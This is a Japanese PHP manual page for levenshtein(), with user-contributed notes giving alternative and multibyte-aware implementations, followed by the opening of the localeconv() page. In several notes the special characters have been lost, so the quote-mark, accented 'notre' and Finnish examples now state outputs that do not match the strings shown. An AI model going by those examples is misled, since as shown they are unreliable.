levenshtein — 二つの文字列のレーベンシュタイン距離を計算する

説明

levenshtein ( string $string1 , string $string2 , int $insertion_cost = 1 , int $replacement_cost = 1 , int $deletion_cost = 1 ) : int

レーベンシュタイン距離は、string1 を string2 に変換するために置換、挿入、削除 しなければならない最小の文字数として定義されます。アルゴリズムの複雑さは、 O(m*n) です。 ここで、n および m はそれぞれ string1 および string2 の長さです O(max(n,m)**3) となる similar_text() よりは良いですが、 まだかなりの計算量です)。

insertion_cost, replacement_cost かつ/または deletion_cost が 1 以外の場合、 変換コストが最も小さいアルゴリズムを採用します。 たとえば、$insertion_cost + $deletion_cost < $replacement_cost の場合、 置換をせず、挿入と削除が行われます。

パラメータ

string1

レーベンシュタイン距離を計算する文字列のひとつ。

string2

レーベンシュタイン距離を計算する文字列のひとつ。

insertion_cost

挿入のコストを定義します。

replacement_cost

置換のコストを定義します。

deletion_cost

削除のコストを定義します。

返り値

この関数は、引数で指定した二つの文字列のレーベンシュタイン距離を返します。 引数文字列の一つが 255 文字の制限より長い場合に -1 を返します。

変更履歴

バージョン | 説明
8.0.0 | これより前のバージョンでは、 levenshtein() 関数は引数を2個、 または5個指定して呼び出さなければなりませんでした。

例

例1 levenshtein() の例

<?php
// スペルミスした単語を入力します
$input = 'carrrot';

// チェックするための単語の配列
$words  = array('apple','pineapple','banana','orange',
                'radish','carrot','pea','bean','potato');

// まだ最短距離は見つかっていません
$shortest = -1;

// 最短距離を見つけるため単語をループします
foreach ($words as $word) {

    // 入力した単語と現在の単語の距離を
    // 計算します
    $lev = levenshtein($input, $word);

    // マッチするかどうかチェックします
    if ($lev == 0) {

        // 最短な単語はこれだ (マッチした)
        $closest = $word;
        $shortest = 0;

        // ループを抜ける; マッチしたものを見つけました
        break;
    }

    // もし距離が次に見つけた最短距離よりも短い場合、
    // もしくは次の最短の単語がまだ見つかっていない場合
    if ($lev <= $shortest || $shortest < 0) {
        // 最短のマッチと最短距離をセットします
        $closest  = $word;
        $shortest = $lev;
    }
}

echo "入力した単語: $input\n";
if ($shortest == 0) {
    echo "一致するものが見つかりました: $closest\n";
} else {
    echo "もしかして: $closest\n";
}

?>

上の例の出力は以下となります。

入力した単語: carrrot
もしかして: carrot

参考

  • soundex() - 文字列の soundex キーを計算する
  • similar_text() - 二つの文字列の間の類似性を計算する
  • metaphone() - 文字列の metaphone キーを計算する

User Contributed Notes

peratik at gmail dot com 16-Sep-2017 12:24
python get_close_matches equivalent:

function get_close_matches($str, $arr) {
    $closest = 1000;
    $word = false;
    foreach($arr as $w) {
        $po = levenshtein($str, $w);
        if ($po<$closest) {
            $closest = $po;
            $word = $w;
        }
    }
    return $word;
}
Johan Gennesson php at genjo dot fr 07-Sep-2016 12:49
Please, be aware that:

<?php
// Levenshtein Apostrophe (U+0027 &#39;) and Right Single Quotation Mark (U+2019 &#8217;)
echo levenshtein("'", "'");
?>

will output 3!
yhoko at yhoko dot com 25-Feb-2016 05:08
Note that this function might cause problems when working with multibyte charactes like in UTF-8. Example:

<?php
print( similar_text( 'ha', 'ha' ) ); // Returns 2 where only 1 character matches
?>
qbolec 05-Aug-2015 08:10
For the rare occassions,  where you want:
1. multibyte UTF-8 characters
2. linear memory consumption (that is O(n+m) , not O(n*m))
3. learn the string which is the longest common subsequence
4. reasonable (that is O(n*m)) time complexity
Consider this implementation:
<?php
class Strings
{
  public static function len($a){
    return mb_strlen($a,'UTF-8');
  }
  public static function substr($a,$x,$y=null){
    if($y===NULL){
      $y=self::len($a);
    }
    return mb_substr($a,$x,$y,'UTF-8');
  }
  public static function letters($a){
    $len = self::len($a);
    if($len==0){
      return array();
    }else if($len == 1){
      return array($a);
    }else{
      return Arrays::concat(
        self::letters(self::substr($a,0,$len>>1)),
        self::letters(self::substr($a,$len>>1))
      );
    }
  }
  private static function lcs_last_column(array $A,array $B){
    $al=count($A);
    $bl=count($B);
    $last_column = array();
    for($i=0;$i<=$al;++$i){
      $current_row = array();
      for($j=0;$j<=$bl;++$j){
        //$a[0,$i) vs $b[0,$j)
        if($i==0 || $j == 0){
          $v = 0;
        }else if($A[$i-1]===$B[$j-1]){
          $v = 1 + $last_row[$j-1];
        }else{
          $v = max($last_row[$j],$current_row[$j-1]);
        }
        $current_row[] = $v;
      }
      $last_column[] = $current_row[$bl];
      $last_row = $current_row;
    }
    return $last_column;
  }
  public static function lcs($a,$b){
    $A = self::letters($a);
    $B = self::letters($b);
    $bl=count($B);
    if($bl==0){
      return '';
    }else if($bl==1){
      return FALSE===array_search($B[0],$A,true)?'':$B[0];
    }
    $left=self::lcs_last_column($A,array_slice($B,0,$bl>>1));
    $right=array_reverse(self::lcs_last_column(array_reverse($A),array_reverse(array_slice($B,$bl>>1))));

    $best_i = 0;
    $best_lcs = 0;
    foreach($left as $i => $lcs_left){
      $option = $lcs_left + $right[$i];
      if($best_lcs < $option){
        $best_lcs = $option;
        $best_i = $i;
      }
    }
    return
      self::lcs(self::substr($a,0,$best_i), self::substr($b,0,$bl>>1)).
      self::lcs(self::substr($a,$best_i), self::substr($b,$bl>>1));
  }
?>
This is a classic implentation in which several tricks are used:
1. the strings are exploded into multi-byte characters in O(n lg n) time
2. instead of searching for the longest path in a precomputed two-dimensional array, we search for the best point which lays in the middle column. This is achieved by spliting the second string in half, and recursively calling the algorithm twice. The only thing we need from the recursive call are the values in the middle column. The trick is to return the last column from each recursive call, which is what we need for the left part, but requires one more trick for the right part - we simply mirror the strings and the array so that the last column is the first column. Then we just find the row which maximizes the sum of lenghts in each part.
3. one can prove that the time consumed by the algorithm is proportional to the area of the (imaginary) two-dimensional array, thus it is O(n*m).
WiLDRAGoN 15-Jul-2015 08:19
Some small changes allow you to calculate multiple words.

<?php

$input = array();
$dictionary  = array();
foreach ($input as $output) {
    $shortest = -1;
    foreach ($dictionary as $word) {
        $lev = levenshtein($output, $word);
        if ($lev == 0) {
            $closest = $word;
            $shortest = 0;
        }
        if ($lev <= $shortest || $shortest < 0) {
            $closest  = $word;
            $shortest = $lev;
        }
    }
    echo "Input word: $output\n";
    if ($shortest == 0) {
        echo "Exact match found: $closest\n";
    } else {
        echo "Did you mean: $closest?\n";
    }
}

?>
luciole75w at no dot spam dot gmail dot com 18-Nov-2013 02:25
The levenshtein function processes each byte of the input string individually. Then for multibyte encodings, such as UTF-8, it may give misleading results.

Example with a french accented word :
- levenshtein('notre', 'votre') = 1
- levenshtein('notre', 'notre') = 2 (huh ?!)

You can easily find a multibyte compliant PHP implementation of the levenshtein function but it will be of course much slower than the C implementation.

Another option is to convert the strings to a single-byte (lossless) encoding so that they can feed the fast core levenshtein function.

Here is the conversion function I used with a search engine storing UTF-8 strings, and a quick benchmark. I hope it will help.

<?php
// Convert an UTF-8 encoded string to a single-byte string suitable for
// functions such as levenshtein.
//
// The function simply uses (and updates) a tailored dynamic encoding
// (in/out map parameter) where non-ascii characters are remapped to
// the range [128-255] in order of appearance.
//
// Thus it supports up to 128 different multibyte code points max over
// the whole set of strings sharing this encoding.
//
function utf8_to_extended_ascii($str, &$map)
{
    // find all multibyte characters (cf. utf-8 encoding specs)
    $matches = array();
    if (!preg_match_all('/[\xC0-\xF7][\x80-\xBF]+/', $str, $matches))
        return $str; // plain ascii string

    // update the encoding map with the characters not already met
    foreach ($matches[0] as $mbc)
        if (!isset($map[$mbc]))
            $map[$mbc] = chr(128 + count($map));

    // finally remap non-ascii characters
    return strtr($str, $map);
}

// Didactic example showing the usage of the previous conversion function but,
// for better performance, in a real application with a single input string
// matched against many strings from a database, you will probably want to
// pre-encode the input only once.
//
function levenshtein_utf8($s1, $s2)
{
    $charMap = array();
    $s1 = utf8_to_extended_ascii($s1, $charMap);
    $s2 = utf8_to_extended_ascii($s2, $charMap);

    return levenshtein($s1, $s2);
}
?>

Results (for about 6000 calls)
- reference time core C function (single-byte) : 30 ms
- utf8 to ext-ascii conversion + core function : 90 ms
- full php implementation : 3000 ms
engineglue at gmail dot com 08-Jan-2012 08:05
I really like [the manual's] example for the use of the levenshtein function to match against an array. I ran into the need to specify the sensitivity of the result. There are circumstances when you want it to return false if the match is way out of line. I wouldn't want "marry had a little lamb" to match with "saw viii" simply because it was the best match in the array. Hence the need for sensitivity:

<?php
    function wordMatch($words, $input, $sensitivity){
        $shortest = -1;
        foreach ($words as $word) {
            $lev = levenshtein($input, $word);
            if ($lev == 0) {
                $closest = $word;
                $shortest = 0;
                break;
            }
            if ($lev <= $shortest || $shortest < 0) {
                $closest  = $word;
                $shortest = $lev;
            }
        }
        if($shortest <= $sensitivity){
            return $closest;
        } else {
            return 0;
        }
    }

    $word = 'PINEEEEAPPLE';

    $words  = array('apple','pineapple','banana','orange',
                    'radish','carrot','pea','bean','potato');

    echo wordMatch($words, strtolower($word), 2);
?>
Chaim Chaikin 02-Nov-2011 11:40
As regards to Example #1 above, would it not be more efficient to first use a simple php == comparison to check if the strings are equal even before testing the word with levenshtein().

Something like this:

<?php
// input misspelled word
$input = 'carrrot';

// array of words to check against
$words  = array('apple','pineapple','banana','orange',
                'radish','carrot','pea','bean','potato');

// no shortest distance found, yet
$shortest = -1;

// loop through words to find the closest
foreach ($words as $word) {

    // check for an exact match
    if ($input == $word) {

        // closest word is this one (exact match)
        $closest = $word;
        $shortest = 0;

        // break out of the loop; we've found an exact match
        break;
    }

    // calculate the distance between the input word,
    // and the current word
    $lev = levenshtein($input, $word);

    // if this distance is less than the next found shortest
    // distance, OR if a next shortest word has not yet been found
    if ($lev <= $shortest || $shortest < 0) {
        // set the closest match, and shortest distance
        $closest  = $word;
        $shortest = $lev;
    }
}

echo "Input word: $input\n";
if ($shortest == 0) {
    echo "Exact match found: $closest\n";
} else {
    echo "Did you mean: $closest?\n";
}

?>
paulrowe at iname dot com 27-Aug-2008 05:58
[EDITOR'S NOTE: original post and 2 corrections combined into 1 -- mgf]

Here is an implementation of the Levenshtein Distance calculation that only uses a one-dimensional array and doesn't have a limit to the string length. This implementation was inspired by maze generation algorithms that also use only one-dimensional arrays.

I have tested this function with two 532-character strings and it completed in 0.6-0.8 seconds.

<?php
/*
* This function starts out with several checks in an attempt to save time.
*   1.  The shorter string is always used as the "right-hand" string (as the size of the array is based on its length).
*   2.  If the left string is empty, the length of the right is returned.
*   3.  If the right string is empty, the length of the left is returned.
*   4.  If the strings are equal, a zero-distance is returned.
*   5.  If the left string is contained within the right string, the difference in length is returned.
*   6.  If the right string is contained within the left string, the difference in length is returned.
* If none of the above conditions were met, the Levenshtein algorithm is used.
*/
function LevenshteinDistance($s1, $s2)
{
  $sLeft = (strlen($s1) > strlen($s2)) ? $s1 : $s2;
  $sRight = (strlen($s1) > strlen($s2)) ? $s2 : $s1;
  $nLeftLength = strlen($sLeft);
  $nRightLength = strlen($sRight);
  if ($nLeftLength == 0)
    return $nRightLength;
  else if ($nRightLength == 0)
    return $nLeftLength;
  else if ($sLeft === $sRight)
    return 0;
  else if (($nLeftLength < $nRightLength) && (strpos($sRight, $sLeft) !== FALSE))
    return $nRightLength - $nLeftLength;
  else if (($nRightLength < $nLeftLength) && (strpos($sLeft, $sRight) !== FALSE))
    return $nLeftLength - $nRightLength;
  else {
    $nsDistance = range(1, $nRightLength + 1);
    for ($nLeftPos = 1; $nLeftPos <= $nLeftLength; ++$nLeftPos)
    {
      $cLeft = $sLeft[$nLeftPos - 1];
      $nDiagonal = $nLeftPos - 1;
      $nsDistance[0] = $nLeftPos;
      for ($nRightPos = 1; $nRightPos <= $nRightLength; ++$nRightPos)
      {
        $cRight = $sRight[$nRightPos - 1];
        $nCost = ($cRight == $cLeft) ? 0 : 1;
        $nNewDiagonal = $nsDistance[$nRightPos];
        $nsDistance[$nRightPos] =
          min($nsDistance[$nRightPos] + 1,
              $nsDistance[$nRightPos - 1] + 1,
              $nDiagonal + $nCost);
        $nDiagonal = $nNewDiagonal;
      }
    }
    return $nsDistance[$nRightLength];
  }
}
?>
luka8088 at gmail dot com 28-May-2008 01:03
Simple levenshtein function without string length limit ...

<?php

function levenshtein2($str1, $str2, $cost_ins = null, $cost_rep = null, $cost_del = null) {
    $d = array_fill(0, strlen($str1) + 1, array_fill(0, strlen($str2) + 1, 0));
    $ret = 0;

    for ($i = 1; $i < strlen($str1) + 1; $i++)
        $d[$i][0] = $i;
    for ($j = 1; $j < strlen($str2) + 1; $j++)
        $d[0][$j] = $j;

    for ($i = 1; $i < strlen($str1) + 1; $i++)
        for ($j = 1; $j < strlen($str2) + 1; $j++) {
            $c = 1;
            if ($str1{$i - 1} == $str2{$j - 1})
                $c = 0;
            $d[$i][$j] = min($d[$i - 1][$j] + 1, $d[$i][$j - 1] + 1, $d[$i - 1][$j - 1] + $c);
            $ret = $d[$i][$j];
        }

    return $ret;
}

?>
atx dot antrax at gmail dot com 17-Apr-2008 02:42
I have made a function that removes the length-limit of levenshtein function and ajust the result with similar_text:

<?php
function _similar($str1, $str2) {
    $strlen1=strlen($str1);
    $strlen2=strlen($str2);
    $max=max($strlen1, $strlen2);

    $splitSize=250;
    if($max>$splitSize)
    {
        $lev=0;
        for($cont=0;$cont<$max;$cont+=$splitSize)
        {
            if($strlen1<=$cont || $strlen2<=$cont)
            {
                $lev=$lev/($max/min($strlen1,$strlen2));
                break;
            }
            $lev+=levenshtein(substr($str1,$cont,$splitSize), substr($str2,$cont,$splitSize));
        }
    }
    else
    $lev=levenshtein($str1, $str2);

    $porcentage= -100*$lev/$max+100;
    if($porcentage>75)//Ajustar con similar_text
    similar_text($str1,$str2,$porcentage);

    return $porcentage;
}
?>
dale3h 12-Feb-2008 08:52
Using PHP's example along with Patrick's comparison percentage function, I have come up with a function that returns the closest word from an array, and assigns the percentage to a referenced variable:

<?php
  function closest_word($input, $words, &$percent = null) {
    $shortest = -1;
    foreach ($words as $word) {
      $lev = levenshtein($input, $word);

      if ($lev == 0) {
        $closest = $word;
        $shortest = 0;
        break;
      }

      if ($lev <= $shortest || $shortest < 0) {
        $closest  = $word;
        $shortest = $lev;
      }
    }

    $percent = 1 - levenshtein($input, $closest) / max(strlen($input), strlen($closest));

    return $closest;
  }
?>

Usage:
<?php
  $input = 'carrrot';
  $words = array('apple','pineapple','banana','orange',
                 'radish','carrot','pea','bean','potato');

  $percent = null;
  $found = closest_word($input, $words, $percent);

  printf('Closest word to "%s": %s (%s%% match)', $input, $found, round($percent * 100, 2));
?>

I found that lowercasing the array prior to comparing yields a better comparison when the case is not of importance, for example: comparing a user-inputted category to a list of existing categories.

I also found that when the percentage was above 75%, it was usually the match that I was looking for.
carey at NOSPAM dot internode dot net dot au 28-Oct-2006 07:06
I have found that levenshtein is actually case-sensitive (in PHP 4.4.2 at least).

<?php
$distance=levenshtein('hello','ELLO');
echo "$distance";
?>

Outputs: "5", instead of "1". If you are implementing a fuzzy search feature that makes use of levenshtein, you will probably need to find a way to work around this.
dinesh AT dinsoft DOT net 17-Mar-2006 03:18
Here is a string resynch function:

<?php
// Trouve les operations a effectuer pour modifier $b en $a en exploitant leurs similitudes (Finds the operations required to change $b to $a)
// Identique a la fonction Resynch Compare de Hex Workshop
//
// Parametres:
//      $a Premiere chaine (cible, target)
//      $b Seconde chaine (source)
//      $l Nombre d'octets devant correspondre pour etre consides comme un bloc similaire (number of matching bytes required)
//      $s Distance maximale dans laquelle les blocs similaires sont cherches (search window)
//
// Retourne:
//      Array
//              Array
//                      [0] Operation: + Add , - Del , / Replace, = Match
//                      [1] Source offset
//                      [2] Source count
//                      [3] Target offset
//                      [4] Target count
//
function str_resynch($a,$b,$l=32,$s=2048) {
        $r=array();
        for($i=0,$c=strlen($a),$cc=strlen($b),$ii=0,$z=$s-1,$z2=($z<<1)+1; $i<$c; $i++) {
                $d=$i-$z;
                $d=($d<$ii)?substr($b,$ii,$z2-$ii+$d):substr($b,$d,$z2);

                $p=strpos($d,$a{$i});
                $n=0;
                while ($p!==FALSE) {
                        $m=1;
                        $bi=$i;
                        $bp=$p;
                        $p+=$ii;
                        while ((++$i<$c) && (++$p<$cc)) {
                                if ($a{$i}!=$b{$p}) break;
                                $m++;
                        }
                        if ($m<$l) {
                                $i=$bi;
                                $n=$bp+1;
                                $p=@strpos($d,$a{$i},$n);
                        }
                        else {
                                $i--;
                                $r[]=array($bi,$bp+$ii,$m); // offset a, offset b, Count
                                $ii=$p;
                                break;
                        }
                }
        }

        if (!count($r)) return ($cc)?array('/',0,$c,0,$cc):array(array('+',0,$c,0,0));

        $o=array();
        $bi=0;
        $bp=0;
        for($i=0,$m=count($r);$i<$m;$i++) {
                if ($r[$i][0]!=$bi) {
                        if ($r[$i][1]!=$bp) {
                                // Replace
                                $o[]=array('/',$bi,$r[$i][0]-$bi,$bp,$r[$i][1]-$bp);
                                $bi=$r[$i][0];
                                $bp=$r[$i][1];
                        }
                        else {
                                // Insertion
                                $o[]=array('+',$bi,$r[$i][0]-$bi,$bp,0);
                                $bi=$r[$i][0];
                        }
                }
                elseif ($r[$i][1]!=$bp) {
                        // Delete
                        $o[]=array('-',$bi,0,$bp,$r[$i][1]-$bp);
                        $bp=$r[$i][1];
                }

                // Match
                $o[]=array('=',$r[$i][0],$r[$i][2],$r[$i][1],$r[$i][2]);
                $bi+=$r[$i][2];
                $bp+=$r[$i][2];
        }

        if ($c!=$bi) {
                if ($cc!=$bp) $o[]=array('/',$bi,$c-$bi,$bp,$cc-$bp);
                else $o[]=array('+',$bi,$c-$bi,$bp,0);
        }
        elseif ($cc!=$bp) $o[]=array('-',$bi,0,$bp,$cc-$bp);

        return $o;
}
?>
june05 at tilo-hauke dot de 06-Jun-2005 12:44
//levenshtein for arrays
function array_levenshtein($array1,$array2)
         {   $aliases= array_flip(array_values(array_unique(array_merge($array1,$array2))));
             if(count($aliases)>255) return -1;
             $stringA=''; $stringB='';
             foreach($array1 as $entry) $stringA.=chr($aliases[$entry]);
             foreach($array2 as $entry) $stringB.=chr($aliases[$entry]);
             return levenshtein($stringA,$stringB);
         }

// e.g. use array_levenshtein to detect special expressions in unser-inputs

echo array_levenshtein(split(" ", "my name is xxx"), split(" ","my name is levenshtein"));

//output: 1
justin at visunet dot ie 05-Apr-2005 07:46
<?php

    /*********************************************************************
    * The below func, btlfsa, (better than levenstien for spelling apps)
    * produces better results when comparing words like haert against
    * haart and heart.
    *
    * For example here is the output of levenshtein compared to btlfsa
    * when comparing 'haert' to 'herat, haart, heart, harte'
    *
    * btlfsa('haert','herat'); output is.. 3
    * btlfsa('haert','haart'); output is.. 3
    * btlfsa('haert','harte'); output is.. 3
    * btlfsa('haert','heart'); output is.. 2
    *
    * levenshtein('haert','herat'); output is.. 2
    * levenshtein('haert','haart'); output is.. 1
    * levenshtein('haert','harte'); output is.. 2
    * levenshtein('haert','heart'); output is.. 2
    *
    * In other words, if you used levenshtein, 'haart' would be the
    * closest match to 'haert'. Where as, btlfsa sees that it should be
    * 'heart'
    */

    function btlfsa($word1,$word2)
    {
        $score = 0;

        // For each char that is different add 2 to the score
        // as this is a BIG difference

        $remainder  = preg_replace("/[".preg_replace("/[^A-Za-z0-9\']/",' ',$word1)."]/i",'',$word2);
        $remainder .= preg_replace("/[".preg_replace("/[^A-Za-z0-9\']/",' ',$word2)."]/i",'',$word1);
        $score      = strlen($remainder)*2;

        // Take the difference in string length and add it to the score
        $w1_len  = strlen($word1);
        $w2_len  = strlen($word2);
        $score  += $w1_len > $w2_len ? $w1_len - $w2_len : $w2_len - $w1_len;

        // Calculate how many letters are in different locations
        // And add it to the score i.e.
        //
        // h e a r t
        // 1 2 3 4 5
        //
        // h a e r t     a e        = 2
        // 1 2 3 4 5   1 2 3 4 5
        //

        $w1 = $w1_len > $w2_len ? $word1 : $word2;
        $w2 = $w1_len > $w2_len ? $word2 : $word1;

        for($i=0; $i < strlen($w1); $i++)
        {
            if ( !isset($w2[$i]) || $w1[$i] != $w2[$i] )
            {
                $score++;
            }
        }

        return $score;
    }

    // *************************************************************
    // Here is a full code example showing the difference

    $misspelled = 'haert';

    // Imagine that these are sample suggestions thrown back by soundex or metaphone..
    $suggestions = array('herat', 'haart', 'heart', 'harte');

    // Firstly order an array based on levenshtein
    $levenshtein_ordered = array();
    foreach ( $suggestions as $suggestion )
    {
        $levenshtein_ordered[$suggestion] = levenshtein($misspelled,$suggestion);
    }
    asort($levenshtein_ordered, SORT_NUMERIC );

    print "<b>Suggestions as ordered by levenshtein...</b><ul><pre>";
    print_r($levenshtein_ordered);
    print "</pre></ul>";

    // Secondly order an array based on btlfsa
    $btlfsa_ordered = array();
    foreach ( $suggestions as $suggestion )
    {
        $btlfsa_ordered[$suggestion] = btlfsa($misspelled,$suggestion);
    }
    asort($btlfsa_ordered, SORT_NUMERIC );

    print "<b>Suggestions as ordered by btlfsa...</b><ul><pre>";
    print_r($btlfsa_ordered);
    print "</pre></ul>";

?>
mcreuzer at r-world dot com 07-Mar-2005 09:01
I am using the Levenshtein distance to SORT my search results.

I have a search page for peoples names. I do a SOUNDEX() search on the name in mysql. MySQL SOUNDEX() will perform the "fuzzy" search for me.

I then calculate the Levenshtein distance between the search term and the actual name found by the SOUNDEX() search. This will give me a score on how close my results are to the search string.

I can the sort my results for display listing the closest results first.

<?php
// PHP CODE INCLUDING DB LOOKUPS HERE
    usort($searchresults, "finallevenshteinsortfunction");

function finallevenshteinsortfunction($a, $b)
{
    if(($a['levenshtein'] > $b['levenshtein']) || ( $a['levenshtein'] == $b['levenshtein'] && strnatcasecmp( $a['Last_Name'], $b['Last_Name']) >= 1) ){ return $a['levenshtein'];} // Ok... The levenstein is greater OR with the same levenshtein, the last name is alphanumerically first
    elseif($a['levenshtein'] == $b['levenshtein']){ return '0';} // The levenstein matches
    elseif($a['levenshtein'] < $b['levenshtein']){ return -$a['levenshtein'];}
    else{die("<!-- a horrable death -->");}
}
?>
gzink at zinkconsulting dot com 03-Dec-2003 03:03
Try combining this with metaphone() for a truly amazing fuzzy search function. Play with it a bit, the results can be plain scary (users thinking the computer is almost telepathic) when implemented properly. I wish spell checkers worked as well as the code I've written.

I would release my complete code if reasonable, but it's not, due to copyright issues. I just hope that somebody can learn from this little tip!
genialbrainmachine at dot IHATESPAM dot tiscali dot it 26-Oct-2003 11:55
I wrote this function to have an "intelligent" comparison between data to be written in a DB
and already existent data. Not ony calculating distances but also balancing distances for
each field.
<?php
/*
This function calculate a balanced percentage distance between an array of strings
"$record" and a compared array "$compared", balanced through an array of
weights "$weight". The three arrays must have the same indices.
For an unbalanced distance, set all weights to 1.
The used formula is:
percentage distance = sum(field_levenshtein_distance * field_weight) / sum(record_field_length * field_weight) * 100
*/
function search_similar($record, $weights, $compared, $precision=2) {
         $field_names = array_keys($record);
         # "Weighted length" of $record and "weighted distance".
         foreach ($field_names as $field_key) {
                 $record_weight += strlen($record[$field_key]) * $weights[$field_key];
                 $weighted_distance += levenshtein($record[$field_key],$compared[$field_key]) * $weights[$field_key];
                 }
         # Building the result..
         if ($record_weight) {
             return round(($weighted_distance / $record_weight * 100),$precision);
            } elseif ((strlen(implode("",$record)) == 0) && (strlen(implode("",$compared)) == 0)) { // empty records
            return round(0,$precision);
            } elseif (array_sum($weights) == 0) { // all weights == 0
            return round(0,$precision);
            } else {
            return false;
            }
         /*
         Be very careful distinguising 0 result and false result.
         The function results 0 ('0.00' if $precision is 2 and so on) if:
         - $record and $compared are equals (even if $record and $compared are empty);
         - all weights are 0 (the meaning could be "no care about any field").
         Conversely, the function results false if $record is empty, but the weights
         are not all 0 and $compared is not empty. That cause a "division by 0" error.
         I wrote this kind of check:

         if ($rel_dist = search_similar(...)) {
             print $rel_dist;
            } elseif ($rel_dist == "0.00") { // supposing that $precision is 2
            print $rel_dist;
            } else {
            print "infinite";
            }

         */
         }
?>
jlsalinas at gmx dot net 25-Oct-2003 07:28
Regarding the post by fgilles on April 26th 2001, I suggest not to use levenshtein() function to test for over-uppercasing unless you've got plenty of time to waste in your host. ;) Anyhow, I think it's a useful feature, as I get really annoyed when reading whole messages in uppercase.

PHP's levenshtein() function can only handle up to 255 characters, which is not realistic for user input (only the first paragraph oh this post has 285 characters). If you choose to use a custom function able to handle more than 255 characters, efficiency is an important issue.

I use this function, specific for this case, but much faster:

function ucase_percent ($str) {
    $str2 = strtolower ($str);

    $l = strlen ($str);
    $ucase = 0;

    for ($i = 0; $i < $l; $i++) {
        if ($str{$i} != $str2{$i}) {
            $ucase++;
        }
    }

    return $ucase / $l * 100.0;
}

I think 10% is enough for written English (maybe other languages like German, which use more capital letters, need more). With some sentencies in uppercase (everybody has the right to shout occasionally), 20% would be enough; so I use a threshold of 30%. When exceeded, I lowercase the whole message.

Hope you find it useful and it helps keeping the web free of ill-mannered people.
inerte is my hotmail.com username 11-Jul-2003 10:22
I am using this function to avoid duplicate information on my client's database.

After retrieving a series of rows and assigning the results to an array values, I loop it with foreach comparing its levenshtein() with the user supplied string.

It helps to avoid people re-registering "John Smith", "Jon Smith" or "Jon Smit".

Of course, I can't block the operation if the user really wants to, but a suggestion is displayed along the lines of: "There's a similar client with this name.", followed by the list of the similar strings.
bisqwit at iki dot fi 12-Aug-2002 07:43
At the time of this manual note the user defined thing
in levenshtein() is not implemented yet. I wanted something
like that, so I wrote my own function. Note that this
doesn't return levenshtein() difference, but instead
an array of operations to transform a string to another.

Please note that the difference finding part (resync)
may be extremely slow on long strings.

<?php

/* matchlen(): returns the length of matching
 * substrings at beginning of $a and $b
 */
function matchlen(&$a, &$b)
{
  $c=0;
  $alen = strlen($a);
  $blen = strlen($b);
  $d = min($alen, $blen);
  while($a[$c] == $b[$c] && $c < $d)
    $c++;
  return $c;
}

/* Returns a table describing
 * the differences of $a and $b */
function calcdiffer($a, $b)
{
  $alen = strlen($a);
  $blen = strlen($b);
  $aptr = 0;
  $bptr = 0;

  $ops = array();

  while($aptr < $alen && $bptr < $blen)
  {
    $matchlen = matchlen(substr($a, $aptr), substr($b, $bptr));
    if($matchlen)
    {
      $ops[] = array('=', substr($a, $aptr, $matchlen));
      $aptr += $matchlen;
      $bptr += $matchlen;
      continue;
    }
    /* Difference found */

    $bestlen=0;
    $bestpos=array(0,0);
    for($atmp = $aptr; $atmp < $alen; $atmp++)
    {
      for($btmp = $bptr; $btmp < $blen; $btmp++)
      {
        $matchlen = matchlen(substr($a, $atmp), substr($b, $btmp));
        if($matchlen>$bestlen)
        {
          $bestlen=$matchlen;
          $bestpos=array($atmp,$btmp);
        }
        if($matchlen >= $blen-$btmp)break;
      }
    }
    if(!$bestlen)break;

    $adifflen = $bestpos[0] - $aptr;
    $bdifflen = $bestpos[1] - $bptr;

    if($adifflen)
    {
      $ops[] = array('-', substr($a, $aptr, $adifflen));
      $aptr += $adifflen;
    }
    if($bdifflen)
    {
      $ops[] = array('+', substr($b, $bptr, $bdifflen));
      $bptr += $bdifflen;
    }
    $ops[] = array('=', substr($a, $aptr, $bestlen));
    $aptr += $bestlen;
    $bptr += $bestlen;
  }
  if($aptr < $alen)
  {
    /* b has too much stuff */
    $ops[] = array('-', substr($a, $aptr));
  }
  if($bptr < $blen)
  {
    /* a has too little stuff */
    $ops[] = array('+', substr($b, $bptr));
  }
  return $ops;
}

Example:

$tab = calcdiffer('T?m? on jonkinlainen testi',
                  'T?m? ei ole mink??nlainen testi.');
$ops = array('='=>'Ok', '-'=>'Remove', '+'=>'Add');
foreach($tab as $k)
  echo $ops[$k[0]], " '", $k[1], "'\n";

Example output:

Ok 'T?m? '
Remove 'on jonki'
Add 'ei ole mink??'
Ok 'nlainen testi'
Add '.'
11-Apr-2002 06:57
For spell checking applications, delay could be tolerable if you assume the typist got the first two or three chars of each word right.  Then you'd only need to calc distances for a small segment of the dictionary.  This is a compromise but one I think a lot of spell checkers make.
For an example of site search using this function look at the PHP manual search button on this page.  It appears to be doing this for the PHP function list.
fgilles at free dot fr 26-Apr-2001 01:32
Exempla of use for a forum: users can't post messages too much uppercased

<?php
if ((strlen($subject)>10) and ( ( levenshtein ($subject, strtolower ($subject) / strlen ($subject) ) > .3 ) ){
    $subject = strtolower($subject);
}
?>
dschultz at protonic dot com 10-Aug-2000 09:01
It's also useful if you want to make some sort of registration page and you want to make sure that people who register don't pick usernames that are very similar to their passwords.
ad1n at dc dot uba dot ar 04-Aug-2000 05:01
One application of this is when you want to look for a similar match instead of an exact one. You can sort the results of checking the distances of a word to a dictionary and sort them to see which were the more similar ones. Of course it will be a quite resourse consuming task anyway.


数値に関するフォーマット情報を得る

  • ≪ levenshtein
  • ltrim ≫
  • PHP Manual
  • String 関数
  • 数値に関するフォーマット情報を得る

localeconv

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

localeconv — 数値に関するフォーマット情報を得る

説明

localeconv ( ) : array

ローカルな数値および通貨フォーマット情報を有する連想配列を返します。

返り値

localeconv() は、 setlocale() で設定された現在のロケールに基づきデータを返します。 返される連想配列は、次のフィールドを有します。

配列要素 | 説明
decimal_point | 小数点文字
thousands_sep | 千毎の区切り文字
grouping | 数値集合を有する配列
int_curr_symbol | 国際通貨記号 (すなわち、USD)
currency_symbol | ローカルな通貨記号 (すなわち、$)
mon_decimal_point | 通貨用の小数点文字
mon_thousands_sep | 通貨用の千毎の区切り文字
mon_grouping | 通貨集合を有する配列
positive_sign | 正の値を表す記号
negative_sign | 負の値を表す記号
int_frac_digits | 国際分割桁
frac_digits | ローカルな分割桁
p_cs_precedes | currency_symbol が正の値を前に置く場合にtrue、後に置く場合に false
p_sep_by_space | 正の値から currency_symbol を1文字の空白で区切る場合にtrue、 そうでない場合にfalse
n_cs_precedes | currency_symbol が負の値を前に置く場合にtrue、後に置く場合に false
n_sep_by_space | 負の値から currency_symbol を1文字の空白で区切る場合にtrue、 そうでない場合にfalse
p_sign_posn
  • 0 - 量および通貨記号を括る括弧
  • 1 - 量および通貨記号の前に置く符号文字列
  • 2 - 量および通貨記号の後に置く符号文字列
